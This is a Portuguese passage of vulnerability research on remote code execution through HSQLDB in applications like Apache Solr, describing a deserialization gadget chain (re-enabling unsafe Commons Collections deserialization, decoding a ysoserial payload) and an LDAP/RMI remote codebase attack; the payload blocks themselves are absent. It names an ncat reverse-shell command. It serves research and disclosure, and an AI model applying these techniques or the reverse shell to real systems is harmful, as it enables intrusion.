Como, na época, eu estava reportando e pesquisando vulnerabilidades no Apache SOLR, lembrei que o exemplo JDBC Stream deles usa HSQL e comecei a configurar o ambiente de teste.

Nota: Infelizmente, esta vulnerabilidade não afeta servidores Apache Solr padrão, pois o JAR do HSQL precisa ser colocado especificamente na pasta “./server/solr-webapp/webapp/WEB-INF/lib/” para que o driver seja acessível pelo componente Stream JDBC.

RCE via Desserialização Java

Como o RCE no F5 usa a função "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" localizada no "tmui.jar" (um JAR específico para aplicações F5), e eu queria criar um payload independente de aplicação, comecei a investigar como encadear JARs comumente usados (por exemplo, Apache Commons Collections, Apache Log4J) para chamar funções estáticas e obter RCE.

Como os gadgets CommonsCollections* do ysoserial foram a primeira coisa que veio à mente, segui o caminho da desserialização Java com os seguintes resultados:

• Chamar java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') para ativar a desserialização insegura (Por que contornar quando você pode remover uma salvaguarda completamente :)) )
• Usar public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) como um sink para nossa entrada alcançar a função ObjectInputStream(x).readObject()
• Usar as funções public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary​(String encoded) ou public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary​(String s) para transformar nossa String de payload ysoserial codificada em um array de bytes que será ingerido por deserialize(byte[] objectData)

O payload HSQL completo tem a seguinte forma:

Nota: Neste caso, o payload ysoserial é do tipo CommonsCollection6 e executará o comando ncat -e /bin/bash 127.1 4444 de shell reverso.

Nota 2: O HSQLDB.jar standalone não é vulnerável a este payload, pois não inclui o JAR Apache Commons Collections. Esta vulnerabilidade funciona (na maioria das vezes) quando o HSQL está incluído em uma aplicação web (ex.: SOLR, Liferay, etc.)

Mais detalhes e o processo de exploração podem ser encontrados neste PDF.

RCE via Ataque de Codebase Remoto sobre LDAP ou RMI

Pesquisando sobre este assunto em 2023, me deparei com esta apresentação incrível Exploring JNDI Attacks by iSafeBlue que usava java.lang.System.setProperty para definir com.sun.jndi.ldap.object.trustURLCodebase ou com.sun.jndi.rmi.object.trustURLCodebase como true e então realizar uma consulta LDAP/RMI para executar com sucesso um ataque de codebase remoto Java.

Exemplo de Payload HSQL:

Resultado:

Nota: Por razões desconhecidas, esta vulnerabilidade funciona no HSQLDB.jar padrão, mas não funciona no ambiente HSQL + Apache SOLR ¯\_(ツ)_/¯.